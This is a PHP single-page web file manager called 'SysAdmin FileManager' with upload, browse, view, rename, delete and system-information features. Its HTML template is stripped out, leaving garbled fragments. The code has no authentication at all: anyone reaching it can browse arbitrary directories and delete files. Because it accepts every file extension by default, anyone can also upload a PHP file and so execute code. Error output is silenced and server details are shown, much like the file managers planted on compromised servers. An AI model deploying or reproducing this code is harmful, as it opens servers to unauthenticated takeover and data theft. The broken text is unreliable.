"SysAdmin FileManager", 'session_duration' => 3600 * 24 * 7, 'debug_mode' => false, // Set to '/' for full root access (if allowed by open_basedir), or __DIR__ for script directory 'start_dir' => __DIR__, 'allowed_extensions' => array(), // Empty = allow all. E.g.: array('txt', 'log', 'jpg') 'max_upload_size' => 1024 * 1024 * 1024, // 1GB ); // --- Initialization --- @set_time_limit(0); @ini_set('upload_max_filesize', '1024M'); @ini_set('post_max_size', '1024M'); define('DS', DIRECTORY_SEPARATOR); // Session Setup if (session_status() === PHP_SESSION_NONE) { session_set_cookie_params([ 'lifetime' => $config['session_duration'], 'path' => '/', 'secure' => isset($_SERVER['HTTPS']), 'httponly' => true, 'samesite' => 'Strict' ]); session_start(); } // --- Security Token Management --- // Generate token only if it doesn't exist to keep it consistent during the session if (empty($_SESSION['security_token'])) { $_SESSION['security_token'] = bin2hex(random_bytes(32)); } $security_token = $_SESSION['security_token']; // --- Helper Functions --- function clean_input($data) { if (is_array($data)) return array_map('clean_input', $data); return htmlspecialchars(stripslashes(trim($data)), ENT_QUOTES, 'UTF-8'); } // Clean GET and POST $_GET = clean_input($_GET); $_POST = clean_input($_POST); $_REQUEST = clean_input($_REQUEST); // Error Reporting if ($config['debug_mode']) { error_reporting(E_ALL); ini_set('display_errors', '1'); } else { error_reporting(0); ini_set('display_errors', '0'); } function verify_token($token) { // Use hash_equals to prevent timing attacks return isset($_SESSION['security_token']) && hash_equals($_SESSION['security_token'], $token); } function format_size($size) { if ($size <= 0) return '0 B'; $units = array('B', 'KB', 'MB', 'GB', 'TB'); $base = log($size, 1024); return round(pow(1024, $base - floor($base)), 2) . ' ' . $units[floor($base)]; } function get_perms($file) { if (!file_exists($file)) return '---------'; $perms = fileperms($file); $info = ''; switch ($perms & 0xF000) { case 0xC000: $info = 's'; break; case 0xA000: $info = 'l'; break; case 0x8000: $info = '-'; break; case 0x6000: $info = 'b'; break; case 0x4000: $info = 'd'; break; default: $info = 'u'; } $info .= (($perms & 00400) ? 'r' : '-'); $info .= (($perms & 00200) ? 'w' : '-'); $info .= (($perms & 00100) ? 'x' : '-'); $info .= (($perms & 00040) ? 'r' : '-'); $info .= (($perms & 00020) ? 'w' : '-'); $info .= (($perms & 00010) ? 'x' : '-'); $info .= (($perms & 00004) ? 'r' : '-'); $info .= (($perms & 00002) ? 'w' : '-'); $info .= (($perms & 00001) ? 'x' : '-'); return $info; } function get_owner_name($file) { if (function_exists('posix_getpwuid')) { $owner = @posix_getpwuid(fileowner($file)); $group = @posix_getgrgid(filegroup($file)); return ($owner['name'] ?? 'N/A') . ':' . ($group['name'] ?? 'N/A'); } return 'N/A'; } function delete_directory($dir) { if (!file_exists($dir)) return true; if (!is_dir($dir)) return @unlink($dir); foreach (scandir($dir) as $item) { if ($item == '.' || $item == '..') continue; if (!delete_directory($dir . DS . $item)) return false; } return @rmdir($dir); } // --- Core Logic --- $self = basename($_SERVER['PHP_SELF']); $message = ''; $message_type = 'info'; // Determine current directory $current_dir = realpath($config['start_dir']); // 1. Check GET 'cd' if (isset($_GET['cd'])) { $req_dir = $_GET['cd']; $real_req = realpath($req_dir); if ($real_req !== false && is_dir($real_req)) { $current_dir = $real_req; } } // 2. Check Session (only if no GET 'cd') elseif (isset($_SESSION['current_dir']) && is_dir($_SESSION['current_dir'])) { $current_dir = realpath($_SESSION['current_dir']); } // Safety fallback if ($current_dir === false) { $current_dir = DS; } $_SESSION['current_dir'] = $current_dir; // --- Handle POST (Actions) --- if ($_SERVER['REQUEST_METHOD'] === 'POST') { // Validate Token if (!isset($_POST['security_token']) || !verify_token($_POST['security_token'])) { $message = "Invalid Security Token. Please refresh the page."; $message_type = 'error'; } else { // UPLOAD LOGIC if (isset($_FILES['upload_file']) && $_FILES['upload_file']['error'] === UPLOAD_ERR_OK) { $file_info = pathinfo($_FILES['upload_file']['name']); $ext = strtolower($file_info['extension'] ?? ''); $allowed = empty($config['allowed_extensions']) || in_array($ext, $config['allowed_extensions']); if ($allowed) { $dest = $current_dir . DS . basename($_FILES['upload_file']['name']); $tmp_name = $_FILES['upload_file']['tmp_name']; $upload_success = false; // Method 1: Standard Move if (@move_uploaded_file($tmp_name, $dest)) { $upload_success = true; } // Method 2: Stream Copy (Fallback for restricted environments) elseif (is_uploaded_file($tmp_name)) { $in = @fopen($tmp_name, 'rb'); $out = @fopen($dest, 'wb'); if ($in && $out) { while ($chunk = fread($in, 8192)) { fwrite($out, $chunk); } fclose($in); fclose($out); $upload_success = true; @unlink($tmp_name); } else { if ($in) fclose($in); if ($out) fclose($out); } } if ($upload_success) { @chmod($dest, 0644); $message = "File uploaded successfully."; $message_type = 'success'; } else { $message = "Failed to upload. Check permissions or open_basedir restriction."; $message_type = 'error'; } } else { $message = "Extension '$ext' not allowed."; $message_type = 'error'; } } // CREATE DIR if (isset($_POST['mkdir']) && !empty($_POST['mkdir'])) { $dir_name = basename($_POST['mkdir']); $new_path = $current_dir . DS . $dir_name; if (!file_exists($new_path)) { if (@mkdir($new_path, 0755, true)) { $message = "Folder created."; $message_type = 'success'; } else { $message = "Failed to create folder (Permission denied)."; $message_type = 'error'; } } else { $message = "Folder already exists."; $message_type = 'error'; } } // RENAME if (isset($_POST['rename_from']) && isset($_POST['rename_to'])) { $old_path = $current_dir . DS . basename($_POST['rename_from']); $new_path = $current_dir . DS . basename($_POST['rename_to']); if (file_exists($old_path)) { if (@rename($old_path, $new_path)) { $message = "Renamed successfully."; $message_type = 'success'; } else { $message = "Rename failed (Permission denied)."; $message_type = 'error'; } } else { $message = "Source not found."; $message_type = 'error'; } } } } // --- Handle GET (Delete & View) --- if ($_SERVER['REQUEST_METHOD'] === 'GET') { // DELETE if (isset($_GET['delete']) && isset($_GET['token'])) { if (verify_token($_GET['token'])) { $target_name = basename($_GET['delete']); $target_path = $current_dir . DS . $target_name; if (file_exists($target_path)) { if (is_dir($target_path)) { if (delete_directory($target_path)) { $message = "Directory deleted."; $message_type = 'success'; } else { $message = "Failed to delete directory."; $message_type = 'error'; } } else { if (@unlink($target_path)) { $message = "File deleted."; $message_type = 'success'; } else { $message = "Failed to delete file."; $message_type = 'error'; } } } } else { $message = "Invalid security token for deletion."; $message_type = 'error'; } } // VIEW FILE if (isset($_GET['view'])) { $file = basename($_GET['view']); $path = $current_dir . DS . $file; if (is_file($path)) { $content = @file_get_contents($path); if ($content === false) { $view_content = "Cannot read file (Permission denied)."; } else { // Check if binary if (preg_match('~[^\x20-\x7E\t\r\n]~', $content)) { $mime = @mime_content_type($path); if ($mime && strpos($mime, 'image/') === 0) { $view_content = ""; } else { $view_content = "Binary file content cannot be displayed as text."; } } else { $view_content = "
" . htmlspecialchars($content) . "
"; } } } else { $view_content = "File not accessible."; } } } // --- Breadcrumb Generation --- function create_breadcrumbs($path) { global $self, $security_token; $parts = explode(DS, $path); $build = ''; $html = ''; return $html; } $parent_dir = dirname($current_dir); $has_parent = ($parent_dir !== $current_dir); ?> <?php echo $config['app_name']; ?>

Server: | PHP:

Upload File

Target:

System Information

Server Software:

PHP Version:

OS:

Server IP:

Your IP:

Script Path:

Writable:

View:

Close
"; } else { $dirs = []; $items = []; foreach ($files as $f) { if ($f === '.' || $f === '..') continue; $path = $current_dir . DS . $f; if (is_dir($path)) $dirs[$f] = $path; else $items[$f] = $path; } ksort($dirs); ksort($items); $all_files = $dirs + $items; foreach ($all_files as $name => $path) { $is_dir = is_dir($path); $icon = $is_dir ? '📁' : '📄'; $size = $is_dir ? '-' : format_size(@filesize($path)); $perms = get_perms($path); $owner = get_owner_name($path); $time = date('Y-m-d H:i', @filemtime($path)); $link_url = $is_dir ? '?cd='.urlencode($path) : '?view='.urlencode($name); $safe_name = htmlspecialchars($name); $safe_name_js = addslashes($name); ?> "; } } ?>
Name Size Perms / Owner Modified Actions
Cannot read directory (Permission Denied).

View Rename Delete
Folder is empty